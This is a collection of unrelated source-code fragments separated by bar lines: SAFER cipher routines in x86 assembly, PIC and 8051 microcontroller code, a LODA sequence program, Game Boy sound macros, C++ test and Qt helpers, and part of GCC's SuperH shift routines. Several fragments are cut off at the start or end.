mov wordReg, ax
ELSEIF byteReg EQ bl OR byteReg EQ bh
mov wordReg, bx
ELSEIF byteReg EQ cl OR byteReg EQ ch
mov wordReg, cx
ELSEIF byteReg EQ dl OR byteReg EQ dh
mov wordReg, dx
ELSE
ERROR Incorrect byte register passed to loadWordReg
ENDIF
ENDM
; Perform the mixed xor/byte addition of the round input with the subkey
; K2i-1, combined with the first level of the nonlinear layer, either
; 45^n mod 257 or log45n, and the mixed xor/byte addition with the subkey
; K2i. We interleave two sets of operations to reduce pipeline stalls and
; make the maximum use of all available registers.
nonLinear MACRO reg1, op1, table1, reg2, op2, table2, keyOfs
op1 reg1, es:[di+keyOfs]
op2 reg2, es:[di+keyOfs+1]
loadWordReg si, reg1
loadWordReg bp, reg2
and si, 0FFh
shr bp, 8
mov reg1, es:[di+keyOfs+8]
mov reg2, es:[di+keyOfs+9]
op2 reg1, table1[si]
op1 reg2, table2[bp]
ENDM
; Perform the mixed xor/byte addition of the inverse PHT output with the
; subkey K2r+2-2i, combined with the second level of the nonlinear layer,
; either 45^n mod 257 or log45n, and finally the mixed xor/byte addition of
; the round output with K2r+1-2i. We interleave two sets of operations to
; reduce pipeline stalls and make the maximum use of all available registers.
nonLinearInv MACRO reg1, op1, table1, reg2, op2, table2, keyOfs
op1 reg1, es:[di+keyOfs]
op2 reg2, es:[di+keyOfs-1]
loadWordReg si, reg1
loadWordReg bp, reg2
shr si, 8
and bp, 0FFh
mov reg1, table1[si]
mov reg2, table2[bp]
op2 reg1, es:[di+keyOfs-8]
op1 reg2, es:[di+keyOfs-9]
ENDM
; Rotate three bytes by one byte to the left. This transforms a b c to
; b c a in two swaps.
swapData MACRO a, b, c
xchg a, c
xchg a, b
ENDM
; Symbolic defines for the byte values used in SAFER
A EQU al
B EQU ah
C EQU bl
D EQU bh
E EQU cl
F EQU ch
G EQU dl
H EQU dh
DATA
; The lookup table for logs and exponents. These contain the powers of the
; primitive element 45 of GF( 257 ) (ie values of 45^n mod 257) in "expTable"
; with the corresponding logs base 45 stored in "logTable". They may be
; calculated as follows:
;
; exponent = 1;
; for( i = 0; i < 256; i++ )
; {
; int exp = exponent & 0xFF;
;
; expTable[ i ] = exp;
; logTable[ exp ] = i;
; exponent = ( exponent * 45 ) % 257;
; }
expTable DB 001h, 02Dh, 0E2h, 093h, 0BEh, 045h, 015h, 0AEh
DB 078h, 003h, 087h, 0A4h, 0B8h, 038h, 0CFh, 03Fh
DB 008h, 067h, 009h, 094h, 0EBh, 026h, 0A8h, 06Bh
DB 0BDh, 018h, 034h, 01Bh, 0BBh, 0BFh, 072h, 0F7h
DB 040h, 035h, 048h, 09Ch, 051h, 02Fh, 03Bh, 055h
DB 0E3h, 0C0h, 09Fh, 0D8h, 0D3h, 0F3h, 08Dh, 0B1h
DB 0FFh, 0A7h, 03Eh, 0DCh, 086h, 077h, 0D7h, 0A6h
DB 011h, 0FBh, 0F4h, 0BAh, 092h, 091h, 064h, 083h
DB 0F1h, 033h, 0EFh, 0DAh, 02Ch, 0B5h, 0B2h, 02Bh
DB 088h, 0D1h, 099h, 0CBh, 08Ch, 084h, 01Dh, 014h
DB 081h, 097h, 071h, 0CAh, 05Fh, 0A3h, 08Bh, 057h
DB 03Ch, 082h, 0C4h, 052h, 05Ch, 01Ch, 0E8h, 0A0h
DB 004h, 0B4h, 085h, 04Ah, 0F6h, 013h, 054h, 0B6h
DB 0DFh, 00Ch, 01Ah, 08Eh, 0DEh, 0E0h, 039h, 0FCh
DB 020h, 09Bh, 024h, 04Eh, 0A9h, 098h, 09Eh, 0ABh
DB 0F2h, 060h, 0D0h, 06Ch, 0EAh, 0FAh, 0C7h, 0D9h
DB 000h, 0D4h, 01Fh, 06Eh, 043h, 0BCh, 0ECh, 053h
DB 089h, 0FEh, 07Ah, 05Dh, 049h, 0C9h, 032h, 0C2h
DB 0F9h, 09Ah, 0F8h, 06Dh, 016h, 0DBh, 059h, 096h
DB 044h, 0E9h, 0CDh, 0E6h, 046h, 042h, 08Fh, 00Ah
DB 0C1h, 0CCh, 0B9h, 065h, 0B0h, 0D2h, 0C6h, 0ACh
DB 01Eh, 041h, 062h, 029h, 02Eh, 00Eh, 074h, 050h
DB 002h, 05Ah, 0C3h, 025h, 07Bh, 08Ah, 02Ah, 05Bh
DB 0F0h, 006h, 00Dh, 047h, 06Fh, 070h, 09Dh, 07Eh
DB 010h, 0CEh, 012h, 027h, 0D5h, 04Ch, 04Fh, 0D6h
DB 079h, 030h, 068h, 036h, 075h, 07Dh, 0E4h, 0EDh
DB 080h, 06Ah, 090h, 037h, 0A2h, 05Eh, 076h, 0AAh
DB 0C5h, 07Fh, 03Dh, 0AFh, 0A5h, 0E5h, 019h, 061h
DB 0FDh, 04Dh, 07Ch, 0B7h, 00Bh, 0EEh, 0ADh, 04Bh
DB 022h, 0F5h, 0E7h, 073h, 023h, 021h, 0C8h, 005h
DB 0E1h, 066h, 0DDh, 0B3h, 058h, 069h, 063h, 056h
DB 00Fh, 0A1h, 031h, 095h, 017h, 007h, 03Ah, 028h
logTable DB 080h, 000h, 0B0h, 009h, 060h, 0EFh, 0B9h, 0FDh
DB 010h, 012h, 09Fh, 0E4h, 069h, 0BAh, 0ADh, 0F8h
DB 0C0h, 038h, 0C2h, 065h, 04Fh, 006h, 094h, 0FCh
DB 019h, 0DEh, 06Ah, 01Bh, 05Dh, 04Eh, 0A8h, 082h
DB 070h, 0EDh, 0E8h, 0ECh, 072h, 0B3h, 015h, 0C3h
DB 0FFh, 0ABh, 0B6h, 047h, 044h, 001h, 0ACh, 025h
DB 0C9h, 0FAh, 08Eh, 041h, 01Ah, 021h, 0CBh, 0D3h
DB 00Dh, 06Eh, 0FEh, 026h, 058h, 0DAh, 032h, 00Fh
DB 020h, 0A9h, 09Dh, 084h, 098h, 005h, 09Ch, 0BBh
DB 022h, 08Ch, 063h, 0E7h, 0C5h, 0E1h, 073h, 0C6h
DB 0AFh, 024h, 05Bh, 087h, 066h, 027h, 0F7h, 057h
DB 0F4h, 096h, 0B1h, 0B7h, 05Ch, 08Bh, 0D5h, 054h
DB 079h, 0DFh, 0AAh, 0F6h, 03Eh, 0A3h, 0F1h, 011h
DB 0CAh, 0F5h, 0D1h, 017h, 07Bh, 093h, 083h, 0BCh
DB 0BDh, 052h, 01Eh, 0EBh, 0AEh, 0CCh, 0D6h, 035h
DB 008h, 0C8h, 08Ah, 0B4h, 0E2h, 0CDh, 0BFh, 0D9h
DB 0D0h, 050h, 059h, 03Fh, 04Dh, 062h, 034h, 00Ah
DB 048h, 088h, 0B5h, 056h, 04Ch, 02Eh, 06Bh, 09Eh
DB 0D2h, 03Dh, 03Ch, 003h, 013h, 0FBh, 097h, 051h
DB 075h, 04Ah, 091h, 071h, 023h, 0BEh, 076h, 02Ah
DB 05Fh, 0F9h, 0D4h, 055h, 00Bh, 0DCh, 037h, 031h
DB 016h, 074h, 0D7h, 077h, 0A7h, 0E6h, 007h, 0DBh
DB 0A4h, 02Fh, 046h, 0F3h, 061h, 045h, 067h, 0E3h
DB 00Ch, 0A2h, 03Bh, 01Ch, 085h, 018h, 004h, 01Dh
DB 029h, 0A0h, 08Fh, 0B2h, 05Ah, 0D8h, 0A6h, 07Eh
DB 0EEh, 08Dh, 053h, 04Bh, 0A1h, 09Ah, 0C1h, 00Eh
DB 07Ah, 049h, 0A5h, 02Ch, 081h, 0C4h, 0C7h, 036h
DB 02Bh, 07Fh, 043h, 095h, 033h, 0F2h, 06Ch, 068h
DB 06Dh, 0F0h, 002h, 028h, 0CEh, 0DDh, 09Bh, 0EAh
DB 05Eh, 099h, 07Ch, 014h, 086h, 0CFh, 0E5h, 042h
DB 0B8h, 040h, 078h, 02Dh, 03Ah, 0E9h, 064h, 01Fh
DB 092h, 090h, 07Dh, 039h, 06Fh, 0E0h, 089h, 030h
; Temporary variables
rounds DW 0
CODE
; Encrypt a block of data with SAFER.
_saferEncryptBlock PROC FAR
push bp
mov bp, sp
push si
push di ; Save register vars
; Copy the input block to machine registers
les di, [bp+6] ; ES:DI = data
mov ax, es:[di] ; a = data[ 0 ]; b = data[ 1 ];
mov bx, es:[di+2] ; c = data[ 2 ]; d = data[ 3 ];
mov cx, es:[di+4] ; e = data[ 4 ]; f = data[ 5 ];
mov dx, es:[di+6] ; g = data[ 6 ]; h = data[ 7 ];
; Remember the number of rounds
push bp ; Save temporary register
les di, [bp+10] ; ES:DI = key
mov bp, es:[di]
and bp, 0FFh ; BP = rounds
mov rounds, bp
inc di
@@encryptLoop:
; Perform the mixed xor/byte addition of the round input with the subkey
; K2i-1, combined with the first level of the nonlinear layer, either
; 45^n mod 257 or log45n, and the mixed xor/byte addition with the subkey
; K2i.
nonLinear A, xor, expTable, B, add, logTable, 0
nonLinear C, add, logTable, D, xor, expTable, 2
nonLinear E, xor, expTable, F, add, logTable, 4
nonLinear G, add, logTable, H, xor, expTable, 6
; Perform the Pseudo-Hadamard Trasform of the round output.
interleavePHT A, B, C, D, E, F, G, H
interleavePHT A, C, E, G, B, D, F, H
interleavePHT A, E, B, F, C, G, D, H
; Swap the data octets around. If we unrol the loop we can eliminate
; this step through register renaming, although at four instructions
; total it's not a major performance hit.
swapData B, E, C
swapData D, F, G
; Prepare for the next round
add di, 16 ; key += 16;
dec rounds
jnz @@encryptLoop
pop bp ; Restore temporary register
; Perform the final mixed xor/byte addition output transformation using
; K2r + 1
xor A, es:[di+0] ; data[ 0 ] = a ^ key[ 0 ];
add B, es:[di+1] ; data[ 1 ] = b + key[ 1 ];
add C, es:[di+2] ; data[ 2 ] = c + key[ 2 ];
xor D, es:[di+3] ; data[ 3 ] = d ^ key[ 3 ];
xor E, es:[di+4] ; data[ 4 ] = e ^ key[ 4 ];
add F, es:[di+5] ; data[ 5 ] = f + key[ 5 ];
add G, es:[di+6] ; data[ 6 ] = g + key[ 6 ];
xor H, es:[di+7] ; data[ 7 ] = h ^ key[ 7 ];
les di, [bp+6] ; ES:DI = data
mov es:[di+0], A
mov es:[di+1], B
mov es:[di+2], C
mov es:[di+3], D
mov es:[di+4], E
mov es:[di+5], F
mov es:[di+6], G
mov es:[di+7], H
pop di
pop si ; Restore register vars
pop bp
ret
_saferEncryptBlock ENDP
; Decrypt a block of data with SAFER.
_saferDecryptBlock PROC FAR
push bp
mov bp, sp
push si
push di ; Save register vars
; Copy the input block to machine registers
les di, [bp+6] ; ES:DI = data
mov ax, es:[di] ; a = data[ 0 ]; b = data[ 1 ];
mov bx, es:[di+2] ; c = data[ 2 ]; d = data[ 3 ];
mov cx, es:[di+4] ; e = data[ 4 ]; f = data[ 5 ];
mov dx, es:[di+6] ; g = data[ 6 ]; h = data[ 7 ];
; Remember the number of rounds
push bp ; Save temporary register
les di, [bp+10] ; ES:DI = key
mov bp, es:[di]
and bp, 0FFh ; BP = rounds
mov rounds, bp
; Since we're now running throught the algorithm backwards, we move to
; the end of the key and start from there.
add bp, bp
inc bp
shl bp, 3
add di, bp ; key += SAFER_BLOCKSIZE * ( 1 + 2 * rounds );
; Perform the initial mixed xor/byte addition input transformation
; using K2r+1.
xor A, es:[di-7] ; data[ 0 ] = a ^ key[ -7 ];
sub B, es:[di-6] ; data[ 1 ] = b - key[ -6 ];
sub C, es:[di-5] ; data[ 2 ] = c - key[ -5 ];
xor D, es:[di-4] ; data[ 3 ] = d ^ key[ -4 ];
xor E, es:[di-3] ; data[ 4 ] = e ^ key[ -3 ];
sub F, es:[di-2] ; data[ 5 ] = f - key[ -2 ];
sub G, es:[di-1] ; data[ 6 ] = g - key[ -1 ];
xor H, es:[di-0] ; data[ 7 ] = h ^ key[ 0 ];
sub di, 8 ; key -= 8;
@@decryptLoop:
; Swap the data octets around. If we unrol the loop we can eliminate
; this step through register renaming, although at four instructions
; total it's not a major performance hit.
swapData E, B, C
swapData F, D, G
; Perform the inverse Pseudo-Hadamard Trasform of the round input.
interleaveIPHT A, E, B, F, C, G, D, H
interleaveIPHT A, C, E, G, B, D, F, H
interleaveIPHT A, B, C, D, E, F, G, H
; Perform the mixed xor/byte addition of the inverse PHT output with
; the subkey K2r+2-2i, combined with the second level of the nonlinear
; layer, either 45^n mod 257 or log45n, and finally the mixed xor/byte
; addition of the round output with K2r+1-2i.
nonLinearInv H, sub, logTable, G, xor, expTable, 0
nonLinearInv F, xor, expTable, E, sub, logTable, -2
nonLinearInv D, sub, logTable, C, xor, expTable, -4
nonLinearInv B, xor, expTable, A, sub, logTable, -6
; Prepare for the next round
sub di, 16 ; key -= 16;
dec rounds
jnz @@decryptLoop
pop bp ; Restore temporary register
; Copy the result back to the data buffer
les di, [bp+6] ; ES:DI = data
mov es:[di+0], A
mov es:[di+1], B
mov es:[di+2], C
mov es:[di+3], D
mov es:[di+4], E
mov es:[di+5], F
mov es:[di+6], G
mov es:[di+7], H
pop di
pop si ; Restore register vars
pop bp
ret
_saferDecryptBlock ENDP
ENDMODULE
|
MOV 0x20,#0xF0
MOV 0x2F,#0xA0
MOV 0x22,#0xFF
MOV 0x24,#0xE2
MOV 0xE0,#0x30
MOV 0xF0,#0x0F
MOV 0x80,#0xFF
CLR 0x07 ;0x20.7 0x70
CLR 0x7D ;0x2F.5 0x80
CLR 0x12 ;0x22.2 0xFB
CLR 0x21 ;0x24.1 0xE0
CLR 0xE4 ;0xE0.4 0x20
CLR 0xF2 ;0xF0.2 0x0B
CLR 0x87 ;0x80.7 0x7F
|
; A248423: Multiples of 4 with digits backwards.
; 0,4,8,21,61,2,42,82,23,63,4,44,84,25,65,6,46,86,27,67,8,48,88,29,69,1,401,801,211,611,21,421,821,231,631,41,441,841,251,651,61,461,861,271,671,81,481,881,291,691,2
mul $0,4
seq $0,4086 ; Read n backwards (referred to as R(n) in many sequences).
|
Include "p16F84A.inc"
; ----------------------------------------------------------
; General Purpose RAM Assignments
; ----------------------------------------------------------
cblock 0x0C
Counter
Endc
; ----------------------------------------------------------
; Macro Definitions
; ----------------------------------------------------------
Read_EEPROM macro
Bcf STATUS, RP0
Clrf EEADR
Bsf STATUS, RP0
Bsf EECON1, RD
Bcf STATUS, RP0
Endm
; ----------------------------------------------------------
; Vector definition
; ----------------------------------------------------------
org 0x000
nop
goto Main
INT_Routine org 0x004
goto INT_Routine
; ----------------------------------------------------------
; The main Program
; ----------------------------------------------------------
Main
Read_EEPROM
Clrf Counter
Bsf STATUS, RP0
Clrf TRISB
Bcf STATUS, RP0
Movlw A'H'
Subwf EEDATA,w
Btfsc STATUS,Z
Goto Finish
Incf Counter,f
Movlw A'M'
Subwf EEDATA,w
Btfsc STATUS,Z
Finish
Incf Counter,f
Call Look_Up
Movwf PORTB
Loop
Goto Loop
; ----------------------------------------------------------
; Sub Routine Definitions
; ----------------------------------------------------------
Look_Up
Movf Counter,w
Addwf PCL,f
Retlw B'00111111'
Retlw B'00000110'
Retlw B'01011011'
Retlw B'01001111'
Retlw B'01100110'
Retlw B'01101101'
end
|
SFX_Battle_28_Ch5:
duty_cycle 0
square_note 0, 15, 1, 1984
square_note 0, 15, 1, 1792
sound_loop 12, SFX_Battle_28_Ch5
sound_ret
SFX_Battle_28_Ch6:
duty_cycle_pattern 2, 3, 0, 3
square_note 0, 14, 1, 1985
square_note 0, 14, 1, 1793
sound_loop 12, SFX_Battle_28_Ch6
sound_ret
SFX_Battle_28_Ch8:
noise_note 1, 13, 1, 73
noise_note 1, 13, 1, 41
sound_loop 6, SFX_Battle_28_Ch8
sound_ret
|
#pragma once
#ifndef TEST_HELPER_HPP
#define TEST_HELPER_HPP
#include<gtest/gtest.h>
#include <vector>
inline void assertFloatArrayEq(std::vector<float> arr1, std::vector<float> arr2, float tol) {
ASSERT_EQ(arr1.size(), arr2.size()) << "The two float arrays are not of equal size";
for (int i = 0; i < arr1.size(); ++i) {
ASSERT_NEAR(arr1[i], arr2[i], tol) << "Failed at index [i = " << i << "]" << std::endl;
}
}
inline void assertFloatArrayEq(std::vector<float> arr1, std::vector<float> arr2, std::vector<float> tol) {
ASSERT_EQ(arr1.size(), arr2.size()) << "The two float arrays are not of equal size";
for (int i = 0; i < arr1.size(); ++i) {
EXPECT_NEAR(arr1[i], arr2[i], tol[i]) << "Failed at index [i = " << i << "]" << std::endl;
}
}
#endif // !TEST_HELPER_HPP |
#include "Blackboard.h"
#include <QDebug>
Blackboard::Blackboard()
: m_items()
{
// this space is blank
}
Topic Blackboard::inspect(QString name)
{
Topic topic;
if (m_items.contains(name))
{
topic = m_items[name];
}
return topic;
}
void Blackboard::update(const Topic &a_topic)
{
//-- qInfo() << a_topic.name << ":" << a_topic.data;
if (m_items.contains(a_topic.name))
{
m_items[a_topic.name] = a_topic;
}
else
{
m_items.insert(a_topic.name, a_topic);
}
}
|
/* Copyright (C) 1994, 1995, 1997, 1998, 1999, 2000, 2001, 2002, 2003,
2004, 2005
Free Software Foundation, Inc.
This file is free software; you can redistribute it and/or modify it
under the terms of the GNU General Public License as published by the
Free Software Foundation; either version 2, or (at your option) any
later version.
In addition to the permissions in the GNU General Public License, the
Free Software Foundation gives you unlimited permission to link the
compiled version of this file into combinations with other programs,
and to distribute those combinations without any restriction coming
from the use of this file. (The General Public License restrictions
do apply in other respects; for example, they cover modification of
the file, and distribution when not linked into a combine
executable.)
This file is distributed in the hope that it will be useful, but
WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program; see the file COPYING. If not, write to
the Free Software Foundation, 51 Franklin Street, Fifth Floor,
Boston, MA 02110-1301, USA. */
!! libgcc routines for the Renesas / SuperH SH CPUs.
!! Contributed by Steve Chamberlain.
!! sac@cygnus.com
!! ashiftrt_r4_x, ___ashrsi3, ___ashlsi3, ___lshrsi3 routines
!! recoded in assembly by Toshiyasu Morita
!! tm@netcom.com
/* SH2 optimizations for ___ashrsi3, ___ashlsi3, ___lshrsi3 and
ELF local label prefixes by J"orn Rennecke
amylaar@cygnus.com */
#include "lib1funcs.h"
#if ! __SH5__
#ifdef L_ashiftrt
.global GLOBAL(ashiftrt_r4_0)
.global GLOBAL(ashiftrt_r4_1)
.global GLOBAL(ashiftrt_r4_2)
.global GLOBAL(ashiftrt_r4_3)
.global GLOBAL(ashiftrt_r4_4)
.global GLOBAL(ashiftrt_r4_5)
.global GLOBAL(ashiftrt_r4_6)
.global GLOBAL(ashiftrt_r4_7)
.global GLOBAL(ashiftrt_r4_8)
.global GLOBAL(ashiftrt_r4_9)
.global GLOBAL(ashiftrt_r4_10)
.global GLOBAL(ashiftrt_r4_11)
.global GLOBAL(ashiftrt_r4_12)
.global GLOBAL(ashiftrt_r4_13)
.global GLOBAL(ashiftrt_r4_14)
.global GLOBAL(ashiftrt_r4_15)
.global GLOBAL(ashiftrt_r4_16)
.global GLOBAL(ashiftrt_r4_17)
.global GLOBAL(ashiftrt_r4_18)
.global GLOBAL(ashiftrt_r4_19)
.global GLOBAL(ashiftrt_r4_20)
.global GLOBAL(ashiftrt_r4_21)
.global GLOBAL(ashiftrt_r4_22)
.global GLOBAL(ashiftrt_r4_23)
.global GLOBAL(ashiftrt_r4_24)
.global GLOBAL(ashiftrt_r4_25)
.global GLOBAL(ashiftrt_r4_26)
.global GLOBAL(ashiftrt_r4_27)
.global GLOBAL(ashiftrt_r4_28)
.global GLOBAL(ashiftrt_r4_29)
.global GLOBAL(ashiftrt_r4_30)
.global GLOBAL(ashiftrt_r4_31)
.global GLOBAL(ashiftrt_r4_32)
HIDDEN_FUNC(GLOBAL(ashiftrt_r4_0))
HIDDEN_FUNC(GLOBAL(ashiftrt_r4_1))
HIDDEN_FUNC(GLOBAL(ashiftrt_r4_2))
HIDDEN_FUNC(GLOBAL(ashiftrt_r4_3))
HIDDEN_FUNC(GLOBAL(ashiftrt_r4_4))
HIDDEN_FUNC(GLOBAL(ashiftrt_r4_5))
HIDDEN_FUNC(GLOBAL(ashiftrt_r4_6))
HIDDEN_FUNC(GLOBAL(ashiftrt_r4_7))
HIDDEN_FUNC(GLOBAL(ashiftrt_r4_8))
HIDDEN_FUNC(GLOBAL(ashiftrt_r4_9))
HIDDEN_FUNC(GLOBAL(ashiftrt_r4_10))
HIDDEN_FUNC(GLOBAL(ashiftrt_r4_11))
HIDDEN_FUNC(GLOBAL(ashiftrt_r4_12))
HIDDEN_FUNC(GLOBAL(ashiftrt_r4_13))
HIDDEN_FUNC(GLOBAL(ashiftrt_r4_14))
HIDDEN_FUNC(GLOBAL(ashiftrt_r4_15))
HIDDEN_FUNC(GLOBAL(ashiftrt_r4_16))
HIDDEN_FUNC(GLOBAL(ashiftrt_r4_17))
HIDDEN_FUNC(GLOBAL(ashiftrt_r4_18))
HIDDEN_FUNC(GLOBAL(ashiftrt_r4_19))
HIDDEN_FUNC(GLOBAL(ashiftrt_r4_20))
HIDDEN_FUNC(GLOBAL(ashiftrt_r4_21))
HIDDEN_FUNC(GLOBAL(ashiftrt_r4_22))
HIDDEN_FUNC(GLOBAL(ashiftrt_r4_23))
HIDDEN_FUNC(GLOBAL(ashiftrt_r4_24))
HIDDEN_FUNC(GLOBAL(ashiftrt_r4_25))
HIDDEN_FUNC(GLOBAL(ashiftrt_r4_26))
HIDDEN_FUNC(GLOBAL(ashiftrt_r4_27))
HIDDEN_FUNC(GLOBAL(ashiftrt_r4_28))
HIDDEN_FUNC(GLOBAL(ashiftrt_r4_29))
HIDDEN_FUNC(GLOBAL(ashiftrt_r4_30))
HIDDEN_FUNC(GLOBAL(ashiftrt_r4_31))
HIDDEN_FUNC(GLOBAL(ashiftrt_r4_32))
.align 1
GLOBAL(ashiftrt_r4_32):
GLOBAL(ashiftrt_r4_31):
rotcl r4
rts
subc r4,r4
GLOBAL(ashiftrt_r4_30):
shar r4
GLOBAL(ashiftrt_r4_29):
shar r4
GLOBAL(ashiftrt_r4_28):
shar r4
GLOBAL(ashiftrt_r4_27):
shar r4
GLOBAL(ashiftrt_r4_26):
shar r4
GLOBAL(ashiftrt_r4_25):
shar r4
GLOBAL(ashiftrt_r4_24):
shlr16 r4
shlr8 r4
rts
exts.b r4,r4
GLOBAL(ashiftrt_r4_23):
shar r4
GLOBAL(ashiftrt_r4_22):
shar r4
GLOBAL(ashiftrt_r4_21):
shar r4
GLOBAL(ashiftrt_r4_20):
shar r4
GLOBAL(ashiftrt_r4_19):
shar r4
GLOBAL(ashiftrt_r4_18):
shar r4
GLOBAL(ashiftrt_r4_17):
shar r4
GLOBAL(ashiftrt_r4_16):
shlr16 r4
rts
exts.w r4,r4
GLOBAL(ashiftrt_r4_15):
shar r4
GLOBAL(ashiftrt_r4_14):
shar r4
GLOBAL(ashiftrt_r4_13):
shar r4
GLOBAL(ashiftrt_r4_12):
shar r4
GLOBAL(ashiftrt_r4_11):
shar r4
GLOBAL(ashiftrt_r4_10):
shar r4
GLOBAL(ashiftrt_r4_9):
shar r4
GLOBAL(ashiftrt_r4_8):
shar r4
GLOBAL(ashiftrt_r4_7):
shar r4
GLOBAL(ashiftrt_r4_6):
shar r4
GLOBAL(ashiftrt_r4_5):
shar r4
GLOBAL(ashiftrt_r4_4):
shar r4
GLOBAL(ashiftrt_r4_3):
shar r4
GLOBAL(ashiftrt_r4_2):
shar r4
GLOBAL(ashiftrt_r4_1):
rts
shar r4
GLOBAL(ashiftrt_r4_0):
rts
nop
ENDFUNC(GLOBAL(ashiftrt_r4_0))
ENDFUNC(GLOBAL(ashiftrt_r4_1))
ENDFUNC(GLOBAL(ashiftrt_r4_2))
ENDFUNC(GLOBAL(ashiftrt_r4_3))
ENDFUNC(GLOBAL(ashiftrt_r4_4))
ENDFUNC(GLOBAL(ashiftrt_r4_5))
ENDFUNC(GLOBAL(ashiftrt_r4_6))
ENDFUNC(GLOBAL(ashiftrt_r4_7))
ENDFUNC(GLOBAL(ashiftrt_r4_8))
ENDFUNC(GLOBAL(ashiftrt_r4_9))
ENDFUNC(GLOBAL(ashiftrt_r4_10))
ENDFUNC(GLOBAL(ashiftrt_r4_11))
ENDFUNC(GLOBAL(ashiftrt_r4_12))
ENDFUNC(GLOBAL(ashiftrt_r4_13))
ENDFUNC(GLOBAL(ashiftrt_r4_14))
ENDFUNC(GLOBAL(ashiftrt_r4_15))
ENDFUNC(GLOBAL(ashiftrt_r4_16))
ENDFUNC(GLOBAL(ashiftrt_r4_17))
ENDFUNC(GLOBAL(ashiftrt_r4_18))
ENDFUNC(GLOBAL(ashiftrt_r4_19))
ENDFUNC(GLOBAL(ashiftrt_r4_20))
ENDFUNC(GLOBAL(ashiftrt_r4_21))
ENDFUNC(GLOBAL(ashiftrt_r4_22))
ENDFUNC(GLOBAL(ashiftrt_r4_23))
ENDFUNC(GLOBAL(ashiftrt_r4_24))
ENDFUNC(GLOBAL(ashiftrt_r4_25))
ENDFUNC(GLOBAL(ashiftrt_r4_26))
ENDFUNC(GLOBAL(ashiftrt_r4_27))
ENDFUNC(GLOBAL(ashiftrt_r4_28))
ENDFUNC(GLOBAL(ashiftrt_r4_29))
ENDFUNC(GLOBAL(ashiftrt_r4_30))
ENDFUNC(GLOBAL(ashiftrt_r4_31))
ENDFUNC(GLOBAL(ashiftrt_r4_32))
#endif
#ifdef L_ashiftrt_n
!
! GLOBAL(ashrsi3)
!
! Entry:
!
! r4: Value to shift
! r5: Shifts
!
! Exit:
!
! r0: Result
!
! Destroys:
!
! (none)
!
.global GLOBAL(ashrsi3)
HIDDEN_FUNC(GLOBAL(ashrsi3))
.align 2
GLOBAL(ashrsi3):
mov #31,r0
and r0,r5
mova LOCAL(ashrsi3_table),r0
mov.b @(r0,r5),r5
#ifdef __sh1__
add r5,r0
jmp @r0
#else
braf r5
#endif
mov r4,r0
.align 2
LOCAL(ashrsi3_table):
.byte LOCAL(ashrsi3_0)-LOCAL(ashrsi3_table)
.byte LOCAL(ashrsi3_1)-LOCAL(ashrsi3_table)
.byte LOCAL(ashrsi3_2)-LOCAL(ashrsi3_table)
.byte LOCAL(ashrsi3_3)-LOCAL(ashrsi3_table)
.byte LOCAL(ashrsi3_4)-LOCAL(ashrsi3_table)
.byte LOCAL(ashrsi3_5)-LOCAL(ashrsi3_table)
.byte LOCAL(ashrsi3_6)-LOCAL(ashrsi3_table)
.byte LOCAL(ashrsi3_7)-LOCAL(ashrsi3_table)
.byte LOCAL(ashrsi3_8)-LOCAL(ashrsi3_table)
.byte LOCAL(ashrsi3_9)-LOCAL(ashrsi3_table)
.byte LOCAL(ashrsi3_10)-LOCAL(ashrsi3_table)
.byte LOCAL(ashrsi3_11)-LOCAL(ashrsi3_table)
.byte LOCAL(ashrsi3_12)-LOCAL(ashrsi3_table)
.byte LOCAL(ashrsi3_13)-LOCAL(ashrsi3_table)
.byte LOCAL(ashrsi3_14)-LOCAL(ashrsi3_table)
.byte LOCAL(ashrsi3_15)-LOCAL(ashrsi3_table)
.byte LOCAL(ashrsi3_16)-LOCAL(ashrsi3_table)
.byte LOCAL(ashrsi3_17)-LOCAL(ashrsi3_table)
.byte LOCAL(ashrsi3_18)-LOCAL(ashrsi3_table)
.byte LOCAL(ashrsi3_19)-LOCAL(ashrsi3_table)
.byte LOCAL(ashrsi3_20)-LOCAL(ashrsi3_table)
.byte LOCAL(ashrsi3_21)-LOCAL(ashrsi3_table)
.byte LOCAL(ashrsi3_22)-LOCAL(ashrsi3_table)
.byte LOCAL(ashrsi3_23)-LOCAL(ashrsi3_table)
.byte LOCAL(ashrsi3_24)-LOCAL(ashrsi3_table)
.byte LOCAL(ashrsi3_25)-LOCAL(ashrsi3_table)
.byte LOCAL(ashrsi3_26)-LOCAL(ashrsi3_table)
.byte LOCAL(ashrsi3_27)-LOCAL(ashrsi3_table)
.byte LOCAL(ashrsi3_28)-LOCAL(ashrsi3_table)
.byte LOCAL(ashrsi3_29)-LOCAL(ashrsi3_table)
.byte LOCAL(ashrsi3_30)-LOCAL(ashrsi3_table)
.byte LOCAL(ashrsi3_31)-LOCAL(ashrsi3_table)
LOCAL(ashrsi3_31):
rotcl r0
rts
subc r0,r0
LOCAL(ashrsi3_30):
shar r0
LOCAL(ashrsi3_29):
shar r0
LOCAL(ashrsi3_28):
shar r0
LOCAL(ashrsi3_27):
shar r0
LOCAL(ashrsi3_26):
shar r0
LOCAL(ashrsi3_25):
shar r0
LOCAL(ashrsi3_24):
shlr16 r0
shlr8 r0
rts
exts.b r0,r0
LOCAL(ashrsi3_23):
shar r0
LOCAL(ashrsi3_22):
shar r0
LOCAL(ashrsi3_21):
shar r0
LOCAL(ashrsi3_20):
shar r0
LOCAL(ashrsi3_19):
shar r0
LOCAL(ashrsi3_18):
shar r0
LOCAL(ashrsi3_17):
shar r0
LOCAL(ashrsi3_16):
shlr16 r0
rts
exts.w r0,r0
LOCAL(ashrsi3_15):
shar r0
LOCAL(ashrsi3_14):
shar r0
LOCAL(ashrsi3_13):
shar r0
LOCAL(ashrsi3_12):
shar r0
LOCAL(ashrsi3_11):
shar r0
LOCAL(ashrsi3_10):
shar r0
LOCAL(ashrsi3_9):
shar r0
LOCAL(ashrsi3_8):
shar r0
LOCAL(ashrsi3_7):
shar r0
LOCAL(ashrsi3_6):
shar r0
LOCAL(ashrsi3_5):
shar r0
LOCAL(ashrsi3_4):
shar r0
LOCAL(ashrsi3_3):
shar r0
LOCAL(ashrsi3_2):
shar r0
LOCAL(ashrsi3_1):
rts
shar r0
LOCAL(ashrsi3_0):
rts
nop
ENDFUNC(GLOBAL(ashrsi3))
#endif
#ifdef L_ashiftlt
!
! GLOBAL(ashlsi3)
!
! Entry:
!
! r4: Value to shift
! r5: Shifts
!
! Exit:
!
! r0: Result
!
! Destroys:
!
! (none)
!
.global GLOBAL(ashlsi3)
HIDDEN_FUNC(GLOBAL(ashlsi3))
.align 2
